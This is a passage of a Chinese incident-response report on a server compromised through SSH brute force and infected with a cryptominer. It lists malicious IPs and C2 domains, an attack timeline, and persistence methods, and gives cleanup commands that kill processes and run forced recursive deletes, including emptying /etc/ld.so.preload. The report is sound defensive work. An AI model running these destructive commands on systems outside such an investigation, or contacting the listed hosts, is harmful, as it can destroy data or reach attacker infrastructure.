\/><\/p>\n<li>\u6076\u610fIP\u5730\u5740\n<ul>\n<li>2.37.xx.xx&#xff1a;SSH\u66b4\u529b\u7834\u89e3\u653b\u51fb\u6e90IP&#xff0c;\u4e3a\u653b\u51fb\u8005\u7684\u63a7\u5236\u7aef&#xff1b;<\/li>\n<li>24.144.127.234&#xff08;\u7f8e\u56fd\u65b0\u6cfd\u897f\u5dde\u5317\u4f2f\u6839&#xff09;&#xff1a;\u6316\u77ff\u75c5\u6bd2\u7684\u6838\u5fc3\u77ff\u6c60C2 IP&#xff0c;\u670d\u52a1\u5668\u4e0e\u5176\u5efa\u7acb80\u7aef\u53e3TCP\u8fde\u63a5&#xff0c;\u8fdb\u884c\u6316\u77ff\u767b\u5f55\u4e0e\u7b97\u529b\u4f20\u8f93&#xff1b;<\/li>\n<li>168.235.95.104&#xff1a;\u6076\u610f\u66f4\u65b0\u811a\u672cupdate.sh\u7684\u4e0b\u8f7d\u6e90IP&#xff0c;\u4e3a\u653b\u51fb\u8005\u7684\u6076\u610f\u6587\u4ef6\u670d\u52a1\u5668&#xff1b;<\/li>\n<\/ul>\n<\/li>\n<li>\u6076\u610f\u57df\u540d\n<ul>\n<li>services.sshd.services&#xff1a;CoinMiner\u6316\u77ff\u6728\u9a6c\u7684\u5173\u8054\u57df\u540d&#xff0c;\u89e3\u6790\u81f324.144.127.234\u3001134.122.112.228\u7b49\u591a\u4e2a\u5883\u5916\u77ff\u6c60IP&#xff0c;\u4e3a\u6316\u77ff\u75c5\u6bd2\u7684\u57df\u540d\u7ea7\u77ff\u6c60\u5165\u53e3&#xff1b;<\/li>\n<li>cc.systemctl.cc&#xff1a;\u6076\u610f\u52a0\u5bc6\u901a\u4fe1\u7684\u63a7\u5236\u7aef\u57df\u540d&#xff0c;\u4e3afw-bzip2\u811a\u672c\u7684\u6076\u610f\u8f7d\u8377\u62c9\u53d6\u6e90&#xff1b;<\/li>\n<\/ul>\n<\/li>\n<li>\u6076\u610f\u7aef\u53e3\u4e0e\u534f\u8bae&#xff1a;80&#xff08;TCP&#xff09;\u3001443&#xff08;TCP&#xff09;&#xff0c;\u4f7f\u7528HTTP\/TLS\u534f\u8bae\u8fdb\u884c\u901a\u4fe1&#xff0c;\u89c4\u907f\u7f51\u7edc\u5c42\u7684\u653b\u51fb\u68c0\u6d4b&#xff1b;<\/li>\n<li>\u6076\u610f\u884d\u751f\u6587\u4ef6\u8def\u5f84&#xff1a;\u6316\u77ff\u75c5\u6bd2\u8fd0\u884c\u540e&#xff0c;\u4f1a\u5728\/tmp\u76ee\u5f55\u4e0b\u751f\u6210\u4ee5systemd-private-{{UUID}}-systemd-*\u547d\u540d\u7684\u968f\u673a\u9690\u85cf\u76ee\u5f55&#xff0c;\u76ee\u5f55\u5185\u7684-bash\u6587\u4ef6\u4e3a\u6316\u77ff\u7a0b\u5e8f\u7684\u4f2a\u88c5\u8fdb\u7a0b&#xff0c;\u662f\u75c5\u6bd2\u8fd0\u884c\u7684\u6838\u5fc3\u884d\u751f\u8f7d\u4f53\u3002<\/li>\n<h4>&#xff08;\u4e94&#xff09;\u653b\u51fb\u65f6\u95f4\u7ebf\u68b3\u7406&#xff1a;\u8fd8\u539f\u6316\u77ff\u75c5\u6bd2\u5165\u4fb5-\u90e8\u7f72-\u8fd0\u884c\u7684\u5b8c\u6574\u6d41\u7a0b<\/h4>\n<p>\u7ed3\u5408\u767b\u5f55\u65e5\u5fd7\u3001\u8ba1\u5212\u4efb\u52a1\u3001\u6076\u610f\u6587\u4ef6\u3001\u7f51\u7edc\u6d41\u91cf\u7b49\u591a\u7ef4\u5ea6\u6eaf\u6e90\u7ed3\u679c&#xff0c;\u68b3\u7406\u51fa\u672c\u6b21\u6316\u77ff\u75c5\u6bd2\u5165\u4fb5\u3001\u90e8\u7f72\u3001\u8fd0\u884c\u7684\u5b8c\u6574\u65f6\u95f4\u7ebf&#xff0c;\u660e\u786e\u4e86\u653b\u51fb\u8005\u5728\u5404\u9636\u6bb5\u7684\u6838\u5fc3\u6076\u610f\u64cd\u4f5c&#xff0c;\u4e3a\u540e\u7eed\u7684\u8d23\u4efb\u754c\u5b9a\u3001\u5b89\u5168\u6574\u6539\u63d0\u4f9b\u4e86\u6e05\u6670\u7684\u4f9d\u636e&#xff1a;<\/p>\n<li>2025-11-xx 23:08 ~ 2025-11-xx 17:54&#xff1a;\u653b\u51fb\u6e90IP&#xff08;2.37.xx.xx&#xff09;\u5bf9\u670d\u52a1\u566822\u53f7SSH\u7aef\u53e3\u53d1\u8d77\u6301\u7eed\u6027\u81ea\u52a8\u5316\u66b4\u529b\u7834\u89e3\u653b\u51fb&#xff0c;\u7d2f\u8ba1\u5c1d\u8bd5415162\u6b21&#xff1b;<\/li>\n<li>2025-11-xx 13:58:32&#xff1a;\u653b\u51fb\u8005\u66b4\u529b\u7834\u89e3\u6210\u529f&#xff0c;\u4ee5root\u9ad8\u6743\u9650\u9996\u6b21\u767b\u5f55\u670d\u52a1\u5668&#xff0c;\u5b8c\u6210\u7cfb\u7edf\u73af\u5883\u63a2\u67e5\u3001\u521d\u59cb\u6076\u610f\u6587\u4ef6\u4e0a\u4f20\u3001\u57fa\u7840\u540e\u95e8\u914d\u7f6e&#xff1b;<\/li>\n<li>2025-11-xx 23:28 ~ 2025-11-xx 23:37&#xff1a;\u653b\u51fb\u8005\u5728\u6df1\u591c\u8fd0\u7ef4\u4f4e\u8c37\u671f&#xff0c;\u4ee5root\u9ad8\u6743\u9650\u518d\u6b21\u767b\u5f55\u670d\u52a1\u5668&#xff0c;\u8fdb\u884c\u6316\u77ff\u75c5\u6bd2\u6838\u5fc3\u90e8\u7f72&#xff1b;<\/li>\n<li>2025-11-xx 23:37&#xff1a;\u653b\u51fb\u8005\u4e0a\u4f20\u6316\u77ff\u6838\u5fc3\u6076\u610f\u6587\u4ef6lzwlndz\u81f3\/bin\u76ee\u5f55&#xff0c;\u8d4b\u4e88\u53ef\u6267\u884c\u6743\u9650\u5e76\u6dfb\u52a0\u6587\u4ef6\u4fdd\u62a4\u5c5e\u6027&#xff1b;<\/li>\n<li>2025-11-xx 23:38&#xff1a;\u653b\u51fb\u8005\u6267\u884clzwlndz\u6316\u77ff\u7a0b\u5e8f&#xff0c;\u7a0b\u5e8f\u81ea\u52a8\u5199\u5165elastic-notify-osd\u3001fw-bzip2\u3001rqdmal\u4e09\u4e2a\u6076\u610f\u8ba1\u5212\u4efb\u52a1&#xff0c;\u6316\u77ff\u75c5\u6bd2\u6b63\u5f0f\u542f\u52a8&#xff0c;\u5f00\u59cb\u6301\u7eed\u5360\u7528CPU\u7b97\u529b\u6316\u77ff&#xff1b;<\/li>\n<li>2025-11-xx 09:00&#xff1a;\u5355\u4f4d\u6280\u672f\u76d1\u6d4b\u5e73\u53f0\u53d1\u73b0\u670d\u52a1\u5668CPU\u8d44\u6e90\u5360\u7528\u5f02\u5e38&#xff0c;\u53d1\u51fa\u5b89\u5168\u544a\u8b66&#xff1b;<\/li>\n<li>2025-11-xx 10:30&#xff1a;\u4e13\u4e1a\u5b89\u5168\u56e2\u961f\u5165\u9a7b&#xff0c;\u542f\u52a8\u6b63\u5f0f\u7684\u7f51\u7edc\u5b89\u5168\u5e94\u6025\u54cd\u5e94\u5904\u7f6e\u6d41\u7a0b\u3002<\/li>\n<h3>\u56db\u3001\u6838\u5fc3\u5904\u7f6e&#xff1a;\u591a\u7ef4\u5ea6\u9776\u5411\u6e05\u7406&#xff0c;\u6839\u9664\u6316\u77ff\u75c5\u6bd2\u6240\u6709\u6b8b\u7559\u4e0e\u6301\u4e45\u5316\u9879<\/h3>\n<p>\u57fa\u4e8e\u5168\u94fe\u8def\u6eaf\u6e90\u7ed3\u679c&#xff0c;\u5236\u5b9a\u4e86**\u201c\u6570\u636e\u5907\u4efd-\u7834\u89e3\u6587\u4ef6\u4fdd\u62a4\u5c5e\u6027-\u7ec8\u6b62\u6076\u610f\u8fdb\u7a0b-\u6e05\u7406\u6076\u610f\u6587\u4ef6-\u6839\u9664\u6301\u4e45\u5316\u9879-\u6e05\u7406\u540e\u95e8\u914d\u7f6e\u201d\u7684\u516d\u6b65\u6e05\u7406\u7b56\u7565&#xff0c;\u5bf9\u6316\u77ff\u75c5\u6bd2\u7684\u6838\u5fc3\u7a0b\u5e8f\u3001\u4f2a\u88c5\u8fdb\u7a0b\u3001\u6301\u4e45\u5316\u5165\u53e3\u3001\u540e\u95e8\u914d\u7f6e\u3001\u884d\u751f\u6b8b\u7559**\u8fdb\u884c\u5168\u7ef4\u5ea6\u9776\u5411\u6e05\u7406\u3002\u6240\u6709\u64cd\u4f5c\u5747\u5728\u6570\u636e\u5907\u4efd\u5b8c\u6210\u540e\u6267\u884c&#xff0c;\u4e14\u6bcf\u4e00\u6b65\u64cd\u4f5c\u540e\u5747\u901a\u8fc7\u5bf9\u5e94\u547d\u4ee4\u6821\u9a8c\u6548\u679c&#xff0c;\u786e\u4fdd\u6e05\u7406\u65e0\u9057\u6f0f\u3001\u4e0d\u7834\u574f\u7cfb\u7edf\u4e0e\u4f01\u4e1a\u6570\u636e\u3002<\/p>\n<h4>&#xff08;\u4e00&#xff09;\u7b2c\u4e00\u6b65&#xff1a;\u5168\u91cf\u6570\u636e\u5907\u4efd&#xff0c;\u7b51\u7262\u5904\u7f6e\u5b89\u5168\u5e95\u7ebf<\/h4>\n<p>\u4e3a\u907f\u514d\u6e05\u7406\u8fc7\u7a0b\u4e2d\u56e0\u64cd\u4f5c\u5931\u8bef\u5bfc\u81f4\u7cfb\u7edf\u6545\u969c\u6216\u6570\u636e\u4e22\u5931&#xff0c;\u5728\u5f00\u5c55\u6240\u6709\u6e05\u7406\u64cd\u4f5c\u524d&#xff0c;\u5b8c\u6210\u670d\u52a1\u5668\u5168\u91cf\u6570\u636e\u4e0e\u7cfb\u7edf\u72b6\u6001\u5907\u4efd&#xff1a;<\/p>\n<li>\u6267\u884c\u865a\u62df\u673a\u5feb\u7167\u5907\u4efd&#xff0c;\u521b\u5efa\u540d\u4e3a\u201c20260225-\u6316\u77ff\u75c5\u6bd2\u5904\u7f6e\u5907\u4efd\u201d\u7684\u5feb\u7167&#xff0c;\u7528\u4e8e\u540e\u7eed\u5e94\u6025\u56de\u6eda&#xff1b;<\/li>\n<li>\u5f00\u5c55\u6838\u5fc3\u6570\u636e\u5f02\u5730\u5907\u4efd&#xff0c;\u5c06\/bin\u3001\/etc\/cron.d\u3001\/var\/spool\/mail\u3001\/usr\/local\/lib\u7b49\u5173\u952e\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6\u5907\u4efd\u81f3\u72ec\u7acb\u5b58\u50a8\u8bbe\u5907&#xff1b;<\/li>\n<li>\u8bb0\u5f55\u6076\u610f\u6587\u4ef6MD5\u503c&#xff08;\u5982lzwlndz\u3001jlgsxjwwys\u7b49&#xff09;&#xff0c;\u7528\u4e8e\u6821\u9a8c\u5907\u4efd\u6587\u4ef6\u5b8c\u6574\u6027&#xff0c;\u786e\u4fdd\u5907\u4efd\u6570\u636e\u53ef\u6b63\u5e38\u8bfb\u53d6&#xff0c;\u4e3a\u540e\u7eed\u64cd\u4f5c\u56de\u6eda\u63d0\u4f9b\u53ef\u9760\u4f9d\u636e\u3002<\/li>\n<h4>&#xff08;\u4e8c&#xff09;\u7b2c\u4e8c\u6b65&#xff1a;\u8ba1\u5212\u4efb\u52a1\u6392\u67e5\u4e0e\u6e05\u7406&#xff0c;\u5207\u65ad\u5b9a\u65f6\u89e6\u53d1\u901a\u9053<\/h4>\n<p>\u6316\u77ff\u75c5\u6bd2\u901a\u8fc7\u591a\u7ef4\u5ea6\u8ba1\u5212\u4efb\u52a1\u5b9e\u73b0\u5b9a\u65f6\u542f\u52a8\u4e0e\u6301\u4e45\u5316&#xff0c;\u9700\u5148\u89e3\u9501\u6587\u4ef6\u4fdd\u62a4\u5c5e\u6027&#xff0c;\u518d\u9010\u5c42\u6e05\u7406\u7cfb\u7edf\u7ea7\u4e0e\u7528\u6237\u7ea7\u6076\u610f\u8ba1\u5212\u4efb\u52a1&#xff1a;<\/p>\n<li>\n<p>\u89e3\u9501\u5e76\u5220\u9664\u7cfb\u7edf\u7ea7Cron\u4efb\u52a1&#xff1a; \u8fdb\u5165\/etc\/cron.d\/\u76ee\u5f55&#xff0c;\u53d1\u73b0elastic-notify-osd\u3001fw-bzip2\u3001rqdmal\u4e09\u4e2a\u6838\u5fc3\u6076\u610f\u8ba1\u5212\u4efb\u52a1&#xff0c;\u5747\u88ab\u6dfb\u52a0i&#xff08;\u4e0d\u53ef\u4fee\u6539&#xff09;\u3001a&#xff08;\u4ec5\u8ffd\u52a0&#xff09;\u5c5e\u6027\u3002\u901a\u8fc7chattr -i -a\u547d\u4ee4\u89e3\u9501\u540e&#xff0c;\u6267\u884crm -f\u547d\u4ee4\u5220\u9664&#xff0c;\u540c\u65f6\u6e05\u7406cron.hourly\/\u3001cron.daily\/\u3001cron.weekly\/\u3001cron.monthly\/\u76ee\u5f55\u4e0b\u7684\u540c\u540d\u6076\u610f\u4efb\u52a1\u526f\u672c&#xff0c;\u786e\u4fdd\u65e0\u5b9a\u65f6\u89e6\u53d1\u6b8b\u7559\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022634-6a641eda2b6cf.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022634-6a641eda73f77.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022634-6a641eda865f5.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<\/li>\n<li>\n<p>\u6e05\u7406\u7528\u6237\u7ea7\u8ba1\u5212\u4efb\u52a1&#xff1a; \u6392\u67e5\u53d1\u73b0\u6076\u610f\u7528\u6237ext4-perl\u7684\u5b9a\u65f6\u4efb\u52a1\u4e2d\u5b58\u5728*\/5 * * * * \/media\/elastic-sftp\/elastic-sftp\u548c*\/8 * * * * \/var\/lib\/dl-aircrack-ng\/dl-aircrack-ng\u4e24\u6761\u89e6\u53d1\u547d\u4ee4&#xff0c;\u901a\u8fc7&gt;\u547d\u4ee4\u6e05\u7a7a\u8be5\u7528\u6237\u7684\u8ba1\u5212\u4efb\u52a1\u6587\u4ef6&#xff0c;\u540c\u65f6\u5220\u9664\u5bf9\u5e94\u7684\u6076\u610f\u6267\u884c\u811a\u672c\/media\/elastic-sftp\/elastic-sftp\u548c\/var\/lib\/dl-aircrack-ng\/dl-aircrack-ng\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022634-6a641eda9c65a.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022634-6a641edaaafa1.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022634-6a641edab809f.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<\/li>\n<li>\n<p>\u5220\u9664\u7cfb\u7edf\u542f\u52a8\u811a\u672c\u4e0e\u8fd0\u884c\u7ea7\u8f6f\u94fe\u63a5&#xff1a; \u5728\/etc\/rc.d\/init.d\/\u76ee\u5f55\u4e2d\u53d1\u73b0cifs-teamviewer\u3001pam-libvirt\u3001rqdmal\u4e09\u4e2a\u6076\u610f\u542f\u52a8\u811a\u672c&#xff0c;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022634-6a641edac8035.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u4e14rc0.d-rc6.d\u4e03\u4e2a\u8fd0\u884c\u7ea7\u76ee\u5f55\u4e2d\u5747\u5b58\u5728\u6307\u5411\u8fd9\u4e9b\u811a\u672c\u7684\u8f6f\u94fe\u63a5&#xff0c;\u4ee5\u5176\u4e2d\u4e00\u4e2a\u4e3a\u4f8b&#xff1a;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022635-6a641edb07a0c.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u901a\u8fc7chattr -i -a\u89e3\u9501\u540e&#xff0c;\u5220\u9664\u6076\u610f\u811a\u672c\u53ca\u6240\u6709\u5bf9\u5e94\u8f6f\u94fe\u63a5&#xff0c;\u5207\u65ad\u7cfb\u7edf\u5f00\u673a\u81ea\u542f\u901a\u9053\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022635-6a641edb1e2a0.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<\/li>\n<li>\n<p>\u6e05\u7406bash\u914d\u7f6e\u4e2d\u7684\u6076\u610f\u4ee3\u7801&#xff1a; \u68c0\u67e5\u53d1\u73b0root\u7528\u6237\u7684~\/.bash_profile\u6587\u4ef6\u4e2d\u88ab\u690d\u5165\u6076\u610f\u4ee3\u7801&#xff1a;<\/p>\n<\/li>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022635-6a641edb2e0a0.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u901a\u8fc7vi\u7f16\u8f91\u5668\u5220\u9664\u8be5\u90e8\u5206\u4ee3\u7801&#xff0c;\u6267\u884csource \/root\/.bash_profile\u4f7f\u914d\u7f6e\u751f\u6548&#xff0c;\u9632\u6b62\u7528\u6237SSH\u767b\u5f55\u65f6\u89e6\u53d1\u6316\u77ff\u75c5\u6bd2\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022635-6a641edb4537d.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h4>&#xff08;\u4e09&#xff09;\u7b2c\u4e09\u6b65&#xff1a;\u6076\u610f\u6587\u4ef6\u5168\u91cf\u6e05\u7406&#xff0c;\u6839\u9664\u75c5\u6bd2\u7269\u7406\u8f7d\u4f53<\/h4>\n<p>\u6839\u636e\u8ba1\u5212\u4efb\u52a1\u6eaf\u6e90\u7ed3\u679c&#xff0c;\u5148\u7ec8\u6b62\u6b63\u5728\u8fd0\u884c\u7684\u6316\u77ff\u75c5\u6bd2\u8fdb\u7a0b&#xff0c;\u518d\u5b9a\u4f4d\u5e76\u5220\u9664\u6838\u5fc3\u7a0b\u5e8f\u3001\u4f2a\u88c5\u8fdb\u7a0b\u3001\u884d\u751f\u6587\u4ef6\u53ca\u6b8b\u7559\u6a21\u5757&#xff0c;\u786e\u4fdd\u65e0\u75c5\u6bd2\u8f7d\u4f53\u6b8b\u7559&#xff1a;<\/p>\n<li>\n<p>\u7ec8\u6b62\u6316\u77ff\u75c5\u6bd2\u76f8\u5173\u8fdb\u7a0b&#xff1a; \u901a\u8fc7\u8fdb\u7a0b\u540d\u5339\u914d\u5b9a\u4f4d\u6240\u6709\u6316\u77ff\u75c5\u6bd2\u6d3b\u8dc3\u8fdb\u7a0b&#xff0c;\u6267\u884c\u5f3a\u5236\u7ec8\u6b62\u547d\u4ee4&#xff0c;\u907f\u514d\u5220\u9664\u6587\u4ef6\u65f6\u8fdb\u7a0b\u5360\u7528\u5bfc\u81f4\u6e05\u7406\u5931\u8d25&#xff1a;<\/p>\n<p> <span class=\"token comment\"># \u6392\u67e5\u5e76\u8bb0\u5f55\u6240\u6709\u6316\u77ff\u76f8\u5173\u8fdb\u7a0bPID<\/span><br \/>\n<span class=\"token function\">ps<\/span> <span class=\"token parameter variable\">-ef<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">grep<\/span> <span class=\"token parameter variable\">-E<\/span> <span class=\"token string\">&#034;lzwlndz|jlgsxjwwys|zzryz|bvgicb|\\\\.x86_64&#034;<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">grep<\/span> <span class=\"token parameter variable\">-v<\/span> <span class=\"token function\">grep<\/span> <span class=\"token operator\">&gt;<\/span> \/tmp\/mining_process_list.txt<br \/>\n<span class=\"token comment\"># \u6279\u91cf\u5f3a\u5236\u7ec8\u6b62\u8fdb\u7a0b<\/span><br \/>\n<span class=\"token function\">cat<\/span> \/tmp\/mining_process_list.txt <span class=\"token operator\">|<\/span> <span class=\"token function\">awk<\/span> <span class=\"token string\">&#039;{print $2}&#039;<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">xargs<\/span> <span class=\"token function\">kill<\/span> <span class=\"token parameter variable\">-9<\/span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n<span class=\"token comment\"># \u9a8c\u8bc1\u8fdb\u7a0b\u662f\u5426\u7ec8\u6b62<\/span><br \/>\n<span class=\"token function\">ps<\/span> <span class=\"token parameter variable\">-ef<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">grep<\/span> <span class=\"token parameter variable\">-E<\/span> <span class=\"token string\">&#034;lzwlndz|jlgsxjwwys|zzryz|bvgicb|\\\\.x86_64&#034;<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">grep<\/span> <span class=\"token parameter variable\">-v<\/span> <span class=\"token function\">grep<\/span><\/p>\n<p>\u64cd\u4f5c\u6548\u679c&#xff1a;\u6240\u6709\u6316\u77ff\u75c5\u6bd2\u76f8\u5173\u8fdb\u7a0b\u5747\u5df2\u7ec8\u6b62&#xff0c;\u65e0\u6b8b\u7559\u6d3b\u8dc3\u8fdb\u7a0b\u3002<\/p>\n<\/li>\n<li>\n<p>\u5220\u9664\u6316\u77ff\u6838\u5fc3\u7a0b\u5e8f\u4e0e\u884d\u751f\u6587\u4ef6&#xff1a; \u4f9d\u6b21\u5220\u9664\/media\/elastic-sftp\/.x86_64\u3001\/var\/lib\/dl-aircrack-ng\/.x86_64\u3001\/bin\/bvgicb\u3001\/bin\/lzwlndz\u3001\/bin\/jlgsxjwwys\u3001\/bin\/zzryz\u7b49\u6076\u610f\u4e8c\u8fdb\u5236\u6587\u4ef6&#xff08;\u5747\u4e3alzwlndz\u540c\u6e90\u6316\u77ff\u7a0b\u5e8f&#xff09;&#xff1b;<\/p>\n<p>\u4ee5\/bin\/lzwlndz\u4e3a\u4f8b: <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260725022635-6a641edb5673c.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<\/li>\n<li>\n<p>\u6e05\u7406\u8fdb\u7a0b\u9690\u85cf\u6a21\u5757&#xff1a; \u5148\u7ec8\u6b62\u4f9d\u8d56libprocesshider.so\u7684\u6240\u6709\u8fdb\u7a0b&#xff0c;\u518d\u5220\u9664\/usr\/local\/lib\/libprocesshider.so\u8fdb\u7a0b\u9690\u85cf\u6a21\u5757&#xff0c;\u6e05\u7a7a\/etc\/ld.so.preload\u4e2d\u6307\u5411\u8be5\u6a21\u5757\u7684\u914d\u7f6e\u5185\u5bb9&#xff0c;\u89e3\u9664\u75c5\u6bd2\u8fdb\u7a0b\u9690\u85cf\u80fd\u529b&#xff1a;<\/p>\n<p> <span class=\"token comment\"># \u7ec8\u6b62\u4f9d\u8d56\u9690\u85cf\u6a21\u5757\u7684\u8fdb\u7a0b<\/span><br \/>\n<span class=\"token function\">lsof<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">grep<\/span> libprocesshider.so <span class=\"token operator\">|<\/span> <span class=\"token function\">awk<\/span> <span class=\"token string\">&#039;{print $2}&#039;<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">xargs<\/span> <span class=\"token function\">kill<\/span> <span class=\"token parameter variable\">-9<\/span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<br \/>\n<span class=\"token comment\"># \u5220\u9664\u9690\u85cf\u6a21\u5757\u5e76\u6e05\u7a7a\u914d\u7f6e<\/span><br \/>\n<span class=\"token function\">rm<\/span> <span class=\"token parameter variable\">-f<\/span> \/usr\/local\/lib\/libprocesshider.so<br \/>\n<span class=\"token builtin class-name\">echo<\/span> <span class=\"token string\">&#034;&#034;<\/span> <span class=\"token operator\">&gt;<\/span> \/etc\/ld.so.preload<\/p>\n<p><img decoding=\"async\" src=\"2026-07-25kly01t1p1ns.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<\/li>\n<li>\n<p>\u5220\u9664\u6b8b\u7559\u6587\u4ef6\u4e0e\u4e34\u65f6\u76ee\u5f55&#xff1a; \u6e05\u7406\/var\/spool\/mail\/ext4-perl\u7b49\u6b8b\u7559\u6587\u4ef6&#xff0c;\u9012\u5f52\u5220\u9664\/tmp\u76ee\u5f55\u4e0b\u4ee5systemd-private-*\u547d\u540d\u7684\u6076\u610f\u9690\u85cf\u76ee\u5f55\u53ca\u5185\u90e8\u4f2a\u88c5-bash\u6587\u4ef6&#xff08;\u5220\u9664\u524d\u5148\u7ec8\u6b62\u76ee\u5f55\u5185\u8fd0\u884c\u7684\u4f2a\u88c5\u8fdb\u7a0b&#xff09;&#xff1a;<\/p>\n<p> <span class=\"token comment\"># \u7ec8\u6b62\/tmp\u76ee\u5f55\u4e0b\u4f2a\u88c5-bash\u8fdb\u7a0b<\/span><br \/>\n<span class=\"token function\">pkill<\/span> <span class=\"token parameter variable\">-f<\/span> <span class=\"token string\">&#034;\/tmp\/systemd-private-*\/-bash&#034;<\/span><br \/>\n<span class=\"token comment\"># \u5220\u9664\u6b8b\u7559\u6587\u4ef6\u4e0e\u6076\u610f\u76ee\u5f55<\/span><br \/>\n<span class=\"token function\">rm<\/span> <span class=\"token parameter variable\">-f<\/span> \/var\/spool\/mail\/ext4-perl<br \/>\n<span class=\"token function\">rm<\/span> <span class=\"token parameter variable\">-rf<\/span> \/tmp\/systemd-private-*<\/p>\n<p><img decoding=\"async\" src=\"2026-07-25ngzgwybeo2c.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"2026-07-25tgyr12n3nm4.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<\/li>\n<h4>&#xff08;\u56db&#xff09;\u7b2c\u56db\u6b65&#xff1a;\u540e\u95e8\u7528\u6237\u4e0eSSH\u914d\u7f6e\u6e05\u7406&#xff0c;\u5c01\u5835\u8eab\u4efd\u8ba4\u8bc1\u6f0f\u6d1e<\/h4>\n<p>\u653b\u51fb\u8005\u901a\u8fc7\u521b\u5efa\u540e\u95e8\u7528\u6237\u3001\u914d\u7f6eSSH\u514d\u5bc6\u767b\u5f55\u5b9e\u73b0\u957f\u671f\u63a7\u5236&#xff0c;\u9700\u5f7b\u5e95\u6e05\u7406\u540e\u95e8\u914d\u7f6e&#xff0c;\u9632\u6b62\u4e8c\u6b21\u5165\u4fb5&#xff1a;<\/p>\n<li>\n<p>\u6392\u67e5\u5e76\u5c01\u7981\u540e\u95e8\u7528\u6237&#xff1a;\u53d1\u73b0\u670d\u52a1\u5668\u5b58\u5728mail&#xff08;UID&#061;0&#xff0c;\u9ad8\u6743\u9650&#xff09;\u3001ext4-perl\u4e24\u4e2a\u6076\u610f\u540e\u95e8\u7528\u6237&#xff0c;\u4e14\u5747\u914d\u7f6e\u4e86SSH\u6388\u6743\u5bc6\u94a5\u3002\u901a\u8fc7passwd -l\u9501\u5b9a\u7528\u6237\u5bc6\u7801&#xff0c;usermod -s 